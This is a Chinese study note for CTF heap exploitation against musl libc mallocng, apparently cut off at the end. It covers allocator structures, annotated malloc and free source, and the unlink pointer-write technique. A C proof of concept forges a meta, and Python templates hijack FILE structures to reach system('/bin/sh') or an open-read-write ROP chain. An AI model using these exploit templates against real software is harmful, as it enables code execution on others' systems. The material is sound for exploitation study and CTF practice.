其实就是对各位大佬博客的各种摘抄和总结···,方便自己以后做题

结构体

chunk:

1
2
3
4
5
6
struct chunk{
char prev_user_data[];
uint8_t idx; //低5bit为idx第几个chunk
uint16_t offset; //与第一个chunk起始地址的偏移,实际地址偏移为offset * UNIT,详细请看get_meta源码中得到group地址的而过程!
char data[];
};

在释放后 chunk 头的 idx会变成0xff offset 会清零

group:

1
2
3
4
5
6
7
8
#define UNIT 16
#define IB 4
struct group {
struct meta *meta;
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1];//padding=0x10B
unsigned char storage[];// chunks
};

musl中同一类大小的chunk都是被分配到同一个group中进行管理

meta:

1
2
3
4
5
6
7
8
9
struct meta {
struct meta *prev, *next;//双向链表
struct group *mem;// 这里指向管理的group 地址
volatile int avail_mask, freed_mask;// bitmap 的形式体现 chunk 的状态
uintptr_t last_idx:5;
uintptr_t freeable:1;// 代表meta否可以被回收 freeable=0 代表不可以 =1 代表可以
uintptr_t sizeclass:6;// sizeclass=6 表示由0x6这个group进行管理这一类的大小的chunk
uintptr_t maplen:8*sizeof(uintptr_t)-12;// meta->maplen = (needed+4095)/4096
};

maplen >= 1表示这个meta里的group是新mmap出来的,长度为多少,并且这个group 不在size_classes
maplen =0 表示group不是新mmap出来的在size_classes
细节:

  • meta一般申请的是堆空间brk分配的,有可能是mmap映射的,而group都是使用的mmap的空间
  • 由于bitmap的限制,因此一个group中最多只能有32chunk

meta_area:

1
2
3
4
5
6
struct meta_area {
uint64_t check;// 是个校验数字 保护meta_area 里的meta,防止meta被 伪造
struct meta_area *next;// 指向下一个meta_area 如果没有 就默认为0
int nslots;// meta 槽的数量
struct meta slots[];
};

meta_area 是管理meta的合集 meta_area 以页为单位分配

1
const struct meta_area area = (void )((uintptr_t)meta & -4096)

细节:

  • 在这个meta_area页被使用的时候,上一个临近的页会被设置为不可写是为了防止 使用者覆盖check校验值

__malloc_context:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct malloc_context {
uint64_t secret;// 和meta_area 头的check 是同一个值 就是校验值
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done;//是否初始化标记
unsigned mmap_counter;// 记录有多少mmap 的内存的数量
struct meta *free_meta_head;// 被free 的meta 头 这里meta 管理使用了队列和双向循环链表
struct meta *avail_meta;//指向可用meta数组
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48];// 记录着可用的meta
size_t u sage_by_class[48];
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};

musl libc记录结构状态的表,记录各个metasecret 队列信息等

小总结

  • musl 中堆的管理由meta 管理 groupgroup 管理 chunk
  • free 或者 malloc chunk 的时候又是从 chunkgroup 再到meta 从小到大索引
  • meta 间通过metaprev next 结构形成循环链表连接

gdb调试技巧

下载xf1le师傅的gdb插件

1
2
git clone https://github.com/xf1les/muslheap.git  
echo "source /path/to/muslheap.py" >> ~/.gdbinit

mheap

可以查看__malloc_context的部分信息,可以详细看到每一条meta链表

p __malloc_context

可以查看__malloc_context的详细信息,但无法详细看到每一条meta链表

mmagic

用于查看关键函数的地址

p (struct meta)<meta地址>

查看某个meta结构体的详细信息

malloc

这里直接贴上0xRGz师傅的文章

free

这里一样直接贴上0xRGz师傅的文章Orz
free流程:

  • 通过get_meta(p)得到meta (get_meta 是通过chunk 对应的offset 索引到对应的group 再索引到meta) 下面会详细介绍get_meta
  • 通过get_slot_index(p)得到对应chunkidx -> 通过get_nominal_size(p, end) 算出真实大小
  • 重置idxoffset idx 被置为0xff 标记chunk
  • 修改freed_mask 标记chunk被释放
  • 最后调用nontrivial_free 完成关于meta一些剩余操作

pwn题常用技巧

一般有如下几种利用方法,核心原理都是构造假的chunk 索引到假的group 从而所引导假的meta或覆盖group 中指向meta 的指针 覆盖为假的meta ,然后使得假的meta dequeue 最终实现unlink
(构造fake_meta 需要先泄露 secret 校验值)
1、伪造meta 后满足各种条件 使得其进入dequeue 通过unlink,构造prev,next 实现任意地址指针互写
通过任意地址互写指针,向stdout_used 写入我们伪造的fake_stdout地址, 通过IO_FILE 劫持程序执行流
到我们布置好的fake_stdout 上,可以找IO_FILE 里的一些函数exit putsfake_stdout上布置rop_chain然后通过栈迁移的gadget 利用FSOP 劫持程序到布置的fake_stdout
2、伪造fake_meta 也是任意地址指针互写,先进行布局使得 fake_meta dequeue 实现unlink,再利用指针互写 修改fake_meta 中的mem(mem 就是group 区域) ,把mem 修改为我们想要的地址,然后让fake_meta 通过queue 入队,可以实现任意地址分配的,然后同样是打 IO_FILE 通过修改stdout stdinstderr 结构体 劫持程序流

补充:部分重要函数源码

malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
void *malloc(size_t n)
{
if (size_overflows(n)) return 0;// 最大申请空间限制
struct meta *g;
uint32_t mask, first;
int sc;
int idx;
int ctr;

if (n >= MMAP_THRESHOLD) {// size >= 阈值 会直接通过mmap 申请空间
size_t needed = n + IB + UNIT; //UNIT 0x10 IB 4 定义在meta.h 里 这里UNIT + IB 是一个基本头的大小
void *p = mmap(0, needed, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON, -1, 0);//新mmap group 空间
if (p==MAP_FAILED) return 0;
wrlock();
step_seq();
g = alloc_meta();
if (!g) { // 如果申请meta 失败 会把刚刚mmap 出来的group 回收
unlock();
munmap(p, needed);// 回收group
return 0;
}
g->mem = p;// mem = group 地址
g->mem->meta = g; //group 头部 指向meta (g 为 meta)
g->last_idx = 0;//mmap的group last_idx默认值=0
g->freeable = 1;
g->sizeclass = 63; // mmap 的申请的 sizeclass 都为63
g->maplen = (needed+4095)/4096;
g->avail_mask = g->freed_mask = 0;
ctx.mmap_counter++;// mmap 内存记载数量++
idx = 0;
goto success;
}
//否则直接根据传入size,转换成size_classes的对应大小的 下标,
sc = size_to_class(n);

rdlock();
g = ctx.active[sc]; // 从现有的active中取出对应sc 的 meta ,不同sc 对应不同的meta

/*
如果从ctx.active 中没找到对应的meta 会执行下面的if分支
这里!g<=> g==0 ,说明ctx.active[sc] 没有对应的meta
*/
if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {
size_t usage = ctx.usage_by_class[sc|1];// 如果在 ctx.active 没找到 就使用更大size group 的meta
// if a new group may be allocated, count it toward
// usage in deciding if we can use coarse class.
if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask
&& !ctx.active[sc|1]->freed_mask))
usage += 3;
if (usage <= 12)
sc |= 1;
g = ctx.active[sc];
}

for (;;) {
mask = g ? g->avail_mask : 0;
first = mask&-mask;
if (!first) break;
if (RDLOCK_IS_EXCLUSIVE || !MT)
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask)
continue;
idx = a_ctz_32(first);
goto success;
}
upgradelock();

idx = alloc_slot(sc, n);
/*
如果当前group 不满足就会来到这里:
alloc_slot 从group 中取出对应大小chunk 的idx
这里先从对应sc 的ctx.active[sc] 中找对应的meta的group 有无空闲chunk可以使用
再从队列中其他meta的group 中找
如果队列中其他meta的group 有可利用的chunk,就使用
如果没有就重新分配一个新的group
*/
if (idx < 0) {
unlock();
return 0;
}
g = ctx.active[sc];// 取出 sc 对应active meta

success:
ctr = ctx.mmap_counter;
unlock();
return enframe(g, idx, n, ctr);// 从对应meta 中的group 取出 第idx号chunk n = size
}

!!! 关键: 一般分配先进入这个循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for (;;) {
mask = g ? g->avail_mask : 0; //先检查g所指meta是否存在,若存在mask = g->avail_mask
first = mask&-mask; //这里只有mask=0时,first才会为0
if (!first) break; //mask为0,first=0,无可用空闲chunk,跳出循环
if (RDLOCK_IS_EXCLUSIVE || !MT)//如果是排它锁, 那么下面保证成功
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask) //成功找到并设置avail_mask之后,continue 后设置idx,然后跳出
continue;
idx = a_ctz_32(first);
goto success;
}
upgradelock();
如果

idx = alloc_slot(sc, n);

alloc_slot:

1
2
3
4
5
6
7
8
9
10
11
12
13
static int alloc_slot(int sc, size_t req)
{ // 尝试从限制active 中找到合适可用的
uint32_t first = try_avail(&ctx.active[sc]);
if (first) return a_ctz_32(first);

// 如果没找到 重新创造一个meta,然后重新分配一个size大小对应sc的group,给这个新分配的meta
struct meta *g = alloc_group(sc, req);
if (!g) return -1;

g->avail_mask--;
queue(&ctx.active[sc], g); //把新meta 加入队列
return 0;
}

try_avail:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
static uint32_t try_avail(struct meta **pm)
{
struct meta *m = *pm;
uint32_t first;
if (!m) return 0;
uint32_t mask = m->avail_mask;
if (!mask)//mask = m->avail_mask (!mask) 表示没有可用的chunk了
{
if (!m->freed_mask) // if (!m->freed_mask) <=> 没有已经释放的chunk
{
/*
进入这个分支的条件:既没有可用的chunk,也没有被释放还未回收的chunk,即chunk都被使用,且都没被释放
*/
dequeue(pm, m); // freed_mask==avail_mask=0, group 空间已满 让对应的meta 出队
m = *pm;
if (!m) return 0;
}
/*
这里else表示的是:无可用空闲chunk,但是有已经释放的chunk
!!! free释放的chunk 不能马上被复用的 !!!
*/
else
{
/*
进入这个分支的条件:没有可用的chunk,有被释放还未回收的chunk。
有点好奇这里,如果达成这个条件,然后利用指针互写,修改m->next 伪造的meta,是不是就可以制造fake meta 入队的假象
若meta链表中没有,一般meta 的next和prev 都是指向自己
*/
m = m->next;
*pm = m;
}

mask = m->freed_mask;
// 如果这个meta 的group 只含有一个chunk ,且被释放就跳过,
// 或者 这个meta 的group 根本不能被释放 如mmap 的 group last_idx = 0 freeable=1
if (mask == (2u<<m->last_idx)-1 && m->freeable)
{
m = m->next;
*pm = m;
mask = m->freed_mask;
}

// activate more slots in a not-fully-active group
// if needed, but only as a last resort. prefer using
// any other group with free slots. this avoids
// touching & dirtying as-yet-unused pages.
if (!(mask & ((2u<<m->mem->active_idx)-1)))
{
if (m->next != m)
{ // 如果这个meta 后还有meta 就切换到 下一个meta
m = m->next;
*pm = m;
}
else
{
int cnt = m->mem->active_idx + 2;
int size = size_classes[m->sizeclass]*UNIT;
int span = UNIT + size*cnt;
// activate up to next 4k boundary
while ((span^(span+size-1)) < 4096) // 页对齐
{
cnt++;
span += size;
}
if (cnt > m->last_idx+1)
cnt = m->last_idx+1;
m->mem->active_idx = cnt-1;
}
}
mask = activate_group(m);// 这里是给 m的 avail_mask 打上标记
assert(mask);
decay_bounces(m-> sizeclass);
}
first = mask&-mask; // 若 mask%2==0 则first =结果是能整除这个偶数的最大的2的幂 若 mask%2==1 则first永远为1
m->avail_mask = mask-first;
return first;
}

free:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void free(void *p)
{
if (!p) return;

struct meta *g = get_meta(p);// 通过chunk p 用get_meta得到对应的meta
int idx = get_slot_index(p);// 得到对应chunk的 idx
size_t stride = get_stride(g); // 得到sizeclasses 中对应chunk类型的size

unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
//*start = g->mem->storage(得到group中第一个chunk地址) + stride*idx(加上对应chunk偏移);
// start 就为对应p(chunk)的起始地址
// end 对应结束地址

get_nominal_size(p, end);//算出真实大小
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;//设置bitmap 标志
((unsigned char *)p)[-3] = 255;
*(uint16_t *)((char *)p-2) = 0;
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}

// atomic free without locking if this is neither first or last slot
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail; // 将释放的chunk 和 现在可用的 chunk 加起来
assert(!(mask&self));
if (!freed || mask+self==all) break;
//!freed 没有被释放的chunk,mask+self==all说明释放了当前chunk所有chunk 都将被回收
// 此group 会被弹出队列
if (!MT)
g->freed_mask = freed+self;// 设置free_mask 表示chunk 被释放
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}

wrlock();
struct mapinfo mi = nontrivial_free(g, idx);// 含有meta 操作 ,内有unlink 是漏洞利用的关键
unlock();
if (mi.len) munmap(mi.base, mi.len);
}

get_meta:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static inline struct meta *get_meta(const unsigned char *p)
{
assert(!((uintptr_t)p & 15));
int offset = *(const uint16_t *)(p - 2);// 得到chunk offset
int index = p[-3] & 31;;// 得到chunk idx
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT);// 通过offset 和chunk 地址计算出group地址
const struct meta *meta = base->meta;// 从group 得到 meta 地址
assert(meta->mem == base);// 检查meta 是否指向对应的group
assert(index <= meta->last_idx);// 检查chunk idx 是否超过 meta 最大chunk 容量
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);// 得到meta_area 地址
assert(area->check == ctx.secret);// 检查 check 校验值
if (meta->sizeclass < 48) { // 如果属于 sizeclasses 管理的chunk 大小
assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset < size_classes[meta->sizeclass]*(index+1));
} else {
assert(meta->sizeclass == 63);
}
if (meta->maplen) {
assert(offset <= meta->maplen*4096UL/UNIT - 1);
}
return (struct meta *)meta;
}

nontrivial_free:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static struct mapinfo nontrivial_free(struct meta *g, int i)// i = idx
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;//mask=已经被free的chunk +可使用的chunk
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g))
{ /*
如果 mask+self == (2u<<g->last_idx)-1 代表此meta中group里的chunk 都被释放 或者 都被用了
(2u<<g->last_idx)-1 计算出的值化成二进制,其中每位含义类似于bitmap,如果每位为1表每位要不是被free 不然就是被
okay_to_free 检测是否可以被释放

*/
if (g->next)
{ // 如果队列中 有下一个meta
assert(sc < 48);// 检测 sc 是不是mmap 分配的
// 检测当前meta g 和 队列里的active[sc] meta 是否一样,一样则activate_new赋值为1
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);// 当前meta 出队

// 在出队操作后 ,ctx.active[sc]==meta ->next 是指的刚刚出队meta 的下一个meta
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);//如果有下一个meta 直接激活 然后修改avail_mask 标志位
}
return free_group(g);
}
else if (!mask)
{// mask==0 group chunk 空间已被完全使用
assert(sc < 48);
// might still be active if there were no allocations
// after last available slot was taken.
if (ctx.active[sc] != g) {// 如果 g 未被加入 队列ctx.ative[sc]
queue(&ctx.active[sc], g);// 把g 加入队列
}
}
a_or(&g->freed_mask, self);// 修改对应 的freed_mask 标志 ,表示着对应的chunk 已被释放
return (struct mapinfo){ 0 };
}

dequeue:

1
2
3
4
5
6
7
8
9
10
11
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next; // 这里存在指针互写 在 prev 所指地址上 写入next 指针
m->next->prev = m->prev; // 在next 所指地址上 写入prev 指针
if (*phead == m) *phead = m->next;// 队列头如果为m 那就更新为m->next
} else {
*phead = 0;
}
m->prev = m->next = 0; // 清理m(meta)的头尾指针
}

dequeue触发条件

1、avail_mask 表示只有一个chunk 被使用 ,freed_mask=0,而free 刚好要free 一个chunk,满足 okay_to_free() 条件 就可以进入dequeue 进行出队操作
add(1,0x20)free(1) 就会使得meta 被回收
2、avail_mask=0, freed_mask 表示只有 1chunk 没被释放,这时释放的chunk 就应该是那最后一个chunk
如下面情况 avail_mask ==0 free_mask=63=00111111 last_idx = 6,已经释放6chunk 还有最后一个chunk没被释放 在释放最后一个chunk 时会触发dequeue使得对应meta出队
3、如果发现这个group中所有的chunk要么被free, 要么是可用的, 那么就会回收掉这个group,调用dequeue从队列中出队

free 首先会调用 get_meta ,而 get_meta 有如下检查:

  • assert(!((uintptr_t) p & 15));,即 chunk 应该关于 0x10 对齐
  • meta->mem == base ,即 meta 中保存的 group 指针要正确
  • index <= meta->last_idx ,即 chunk 的索引不能越界
  • assert(!(meta->avail_mask & (1u << index)));assert(!(meta->freed_mask & (1u << index))); ,检测 double fre
  • area->check == ctx.secret ,即 meta 所在的 meta_area 的校验值正确。如果伪造的 meta 位于一个伪造的 meta_area 中,需要首先获取校验值 secret 并保存到 meta_area 开头,即这一页最开始的地方
  • offset >= size_classes[meta->sizeclass]_index ,offset < size_classes[meta->sizeclass]_(index+1) ,这两个检查 offsetchunk 大小是否对应
  • assert(offset <= meta->maplen*4096UL/UNIT - 1); ,即检查 offset 是否越界

紧接着还会调用 get_nominal_size,其中有对 chunk 的检查,总结来说 chunk 区域尽量都填 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static inline size_t get_nominal_size(const unsigned char *p, const unsigned char *end) {
size_t reserved = p[-3] >> 5;
if (reserved >= 5) {
assert(reserved == 5);
reserved = *(const uint32_t *) (end - 4);
assert(reserved >= 5);
assert(!end[-5]);
}
assert(reserved <= end - p);
assert(!*(end - reserved));
// also check the slot's overflow byte
assert(!*end);
return end - reserved - p;
}

之后在 free 中的循环满足条件跳出循环调用 nontrivial_free 函数

1
2
3
4
5
6
7
8
9
10
11
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail;
assert(!(mask & self));
if (!freed || mask + self == all) break;
...
}

wrlock();
struct mapinfo mi = nontrivial_free(g, idx);

进入 nontrivial_free 函数后会执行如下代码。okay_to_free 函数返回非 0 的前提是 meta->freeable0,另外还要确保 meta->sizeclass < 48 。之后调用 dequeue 函数触发 unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
uint32_t self = 1u << i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;

if (mask + self == (2u << g->last_idx) - 1 && okay_to_free(g)) {
// any multi-slot group is necessarily on an active list
// here, but single-slot groups might or might not be.
if (g->next) {
assert(sc < 48);
int activate_new = (ctx.active[sc] == g);
dequeue(&ctx.active[sc], g);
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
}

之后进入 free_group 函数后为了减小伪造难度不再调用 nontrivial_free 要保证 maplen 不为零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static struct mapinfo free_group(struct meta *g) {
struct mapinfo mi = {0};
int sc = g->sizeclass;
if (sc < 48) {
ctx.usage_by_class[sc] -= g->last_idx + 1;
}
if (g->maplen) {
step_seq();
record_seq(sc);
mi.base = g->mem;
mi.len = g->maplen * 4096UL;
} else {
void *p = g->mem;
struct meta *m = get_meta(p);
int idx = get_slot_index(p);
g->mem->meta = 0;
// not checking size/reserved here; it's intentionally invalid
mi = nontrivial_free(m, idx);
}
free_meta(g);
return mi;
}

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <ctype.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <assert.h>

#define UNIT 16
#define IB 4
#define FAKE_CHUNK_SIZE 0x80
#define FAKE_CHUNK_INDEX 1
#define LAST_INDEX 4

const uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};

static inline int size_to_class(size_t n) {
n = (n + IB - 1) >> 4;
if (n < 10) return n;
n++;
int i = (28 - __builtin_ctz(n)) * 4 + 8;
if (n > size_classes[i + 1]) i += 2;
if (n > size_classes[i]) i++;
return i;
}

struct malloc_context {
uint64_t secret;
int init_done;
unsigned mmap_counter;
struct meta *free_meta_head;
struct meta *avail_meta;
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48];
size_t usage_by_class[48];
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};
struct group {
struct meta *meta;
unsigned char active_idx: 5;
char pad[UNIT - sizeof(struct meta *) - 1];
unsigned char storage[];
};
struct meta {
struct meta *prev, *next;
struct group *mem;
volatile int avail_mask, freed_mask;
uintptr_t last_idx: 5;
uintptr_t freeable: 1;
uintptr_t sizeclass: 6;
uintptr_t maplen: 8 * sizeof(uintptr_t) - 12;
};
struct meta_area {
uint64_t check;
struct meta_area *next;
int nslots;
struct meta slots[];
};

int main() {
struct malloc_context *ctx = (struct malloc_context *) (&printf + 0x247193);
struct meta target = {};

void *mmap_space = mmap(NULL, 0x2000, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0);

struct meta_area *fake_meta_area = mmap_space;
fake_meta_area->check = ctx->secret;

struct meta *fake_meta = (struct meta *) ((uint64_t) mmap_space + 0x100);
fake_meta->maplen = 1;
fake_meta->sizeclass = size_to_class(FAKE_CHUNK_SIZE - IB);
fake_meta->last_idx = LAST_INDEX;
fake_meta->freeable = 1;

struct group *fake_group = (struct group *) ((uint64_t) mmap_space + 0x1000);
fake_meta->mem = fake_group;
fake_group->meta = fake_meta;
fake_meta->avail_mask = ((2U << LAST_INDEX) - 1) ^ (1 << FAKE_CHUNK_INDEX);
fake_meta->freed_mask = 0;

uint8_t *fake_chunk = (uint8_t *) ((uint64_t) fake_group->storage + size_classes[fake_meta->sizeclass] * UNIT * FAKE_CHUNK_INDEX);
*(uint16_t *) (fake_chunk - 2) = (fake_chunk - fake_group->storage) / UNIT;
fake_chunk[-3] = FAKE_CHUNK_INDEX;

fake_meta->prev = fake_meta->next = &target;
free(fake_chunk);
assert(target.prev == target.next && target.prev == &target);

return 0;
}

fsop

IO_file结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct _IO_FILE {
unsigned flags;
unsigned char *rpos, *rend;
int (*close)(FILE *);
unsigned char *wend, *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev, *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim, shcnt;
FILE *prev_locked, *next_locked;
struct __locale_struct *locale;
};

exit利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
FILE *volatile __stdin_used = &__stdin_FILE;
FILE *volatile __stdout_used = &__stdout_FILE;
FILE *volatile __stderr_used = &__stderr_FILE;

_Noreturn void exit(int code) {
__funcs_on_exit();
__libc_exit_fini();
__stdio_exit();
_Exit(code);
}

void __stdio_exit(void) {
FILE *f;
for (f = *__ofl_lock(); f; f = f->next) close_file(f);
close_file(__stdin_used);
close_file(__stdout_used);
close_file(__stderr_used);
}

static void close_file(FILE *f) {
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0);
if (f->rpos != f->rend) f->seek(f, f->rpos - f->rend, SEEK_CUR);
}

可以看到exit函数最终会调用到三个io filewrite函数和seek函数,我们可以将 FILE 结构体开头的几个字节修改为 /bin/sh ,再修改 write 指针的值为 system ,以及修改 f->wposf->wbase 中其中之一就可以调用到 system(“/bin/sh”)
总结来说,就是在无沙箱时,需要修改 _IO_FILE 结构体的几个地方:

  • 起始位置写入 /bin/sh
  • write 写入 system 函数地址。
  • 好将 lock 设置为小于 0 避免程序卡死在 __lockfile 函数中。(等于 0 貌似也可以)

fake_file getshell模板:

1
2
3
4
5
6
7
8
9
10
11
12
fake_file = b""
fake_file += b"/bin/sh".ljust(8, b'\x00') # flags
fake_file += p64(0) # rpos
fake_file += p64(0) # rend
fake_file += p64(0) # close
fake_file += p64(0) # wend
fake_file += p64(0x114514) # wpos
fake_file += p64(0) # mustbezero_1
fake_file += p64(0x1919810) # wbase
fake_file += p64(0) # read
fake_file += p64(libc_base+libc.symols['system']) # write
fake_file = fake_file.ljust(0x90, b'\x00') # lock = 0

若需要orw,这需要一下gadget

1
mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]

总结来说,就是在有沙箱时,需要修改 _IO_FILE 结构体的 3 个地方:

  • f->wbase 写入第一个 gadget 地址使得 f->wpos 、f->wbase 不等的同时能够执行到 gadget
  • write 写入刚才提到的栈迁移的 gadget
  • 偏移 0x30 处写入新的栈地址配合栈迁移 gadget 完成栈迁移
  • 此外还需要在其他地方构造好 ROP 链用于 orw

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
payload_addr = libc.address - 0x6fe0
fake_file_addr = payload_addr
fake_group_addr = fake_file_addr + 0x90
fake_chunk_addr = fake_group_addr + 0x10
fake_meta_area_offset = ((payload_addr + 0xFFF) & ~0xFFF) - payload_addr
fake_meta_offset = fake_meta_area_offset + 8
fake_meta_addr = payload_addr + fake_meta_offset
stderr_used_addr = libc.address + 0xb43a0
rop_addr = fake_chunk_addr

magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]'), executable=True).next()
pop_rdi_ret = libc.search(asm("pop rdi;ret"), executable=True).next()
pop_rsi_ret = libc.search(asm("pop rsi;ret"), executable=True).next()
pop_rdx_ret = libc.search(asm("pop rdx;ret"), executable=True).next()
pop_rax_ret = libc.search(asm("pop rax;ret"), executable=True).next()
ret = libc.search(asm("ret"), executable=True).next()
buf_addr = payload_addr

rop = b''
rop += p64(pop_rdi_ret)
rop += p64(buf_addr)
rop += p64(pop_rsi_ret)
rop += p64(0)
rop += p64(libc.sym['open'])
rop += p64(pop_rdi_ret)
rop += p64(3)
rop += p64(pop_rsi_ret)
rop += p64(buf_addr)
rop += p64(pop_rdx_ret)
rop += p64(0x100)
rop += p64(libc.sym['read'])
rop += p64(pop_rdi_ret)
rop += p64(1)
rop += p64(pop_rsi_ret)
rop += p64(buf_addr)
rop += p64(pop_rdx_ret)
rop += p64(0x100)
rop += p64(libc.sym['write'])

fake_file = b""
fake_file += b"./flag".ljust(8, b'\x00') # flags
fake_file += p64(0) # rpos
fake_file += p64(0) # rend
fake_file += p64(0) # close
fake_file += p64(0) # wend
fake_file += p64(0) # wpos
fake_file += p64(rop_addr) # mustbezero_1
fake_file += p64(ret) # wbase
fake_file += p64(0) # read
fake_file += p64(magic_gadget) # write
fake_file = fake_file.ljust(0x90, b'\x00') # lock = 0

fake_group = p64(fake_meta_addr) + p64(0)

fake_meta = b''
fake_meta += p64(fake_file_addr) # prev
fake_meta += p64(stderr_used_addr) # next
fake_meta += p64(fake_group_addr) # mem
fake_meta += p32(0b0000) # avail_mask
fake_meta += p32(0b1110) # freed_mask
last_idx = 3
freeable = 1
sizeclass = 8
maplen = 0
fake_meta += p64(last_idx | (freeable << 5) | (sizeclass << 6) | (sizeclass << 12))

fake_meta_area = p64(leak_secret) + fake_meta

payload = b''
payload += fake_file
payload += fake_group
payload += rop
assert len(payload) <= fake_meta_area_offset
payload = payload.ljust(fake_meta_area_offset, b'\x00')
payload += fake_meta_area
payload = payload.ljust(0x2000, b'\x00')

fake_node = b''
fake_node += p64(4) # id
fake_node += p64(fake_chunk_addr) # name -> fake chunk
fake_node += p64(0x100) # name_size
fake_node += p64(2) # type
fake_node += p64(0xdeadbeef) # fa
fake_node += p64(0) # ls
fake_node += p64(0) # rs

add(5, fake_node)
add(6, payload)

puts利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int puts(const char *s) {
int r;
FLOCK(stdout);
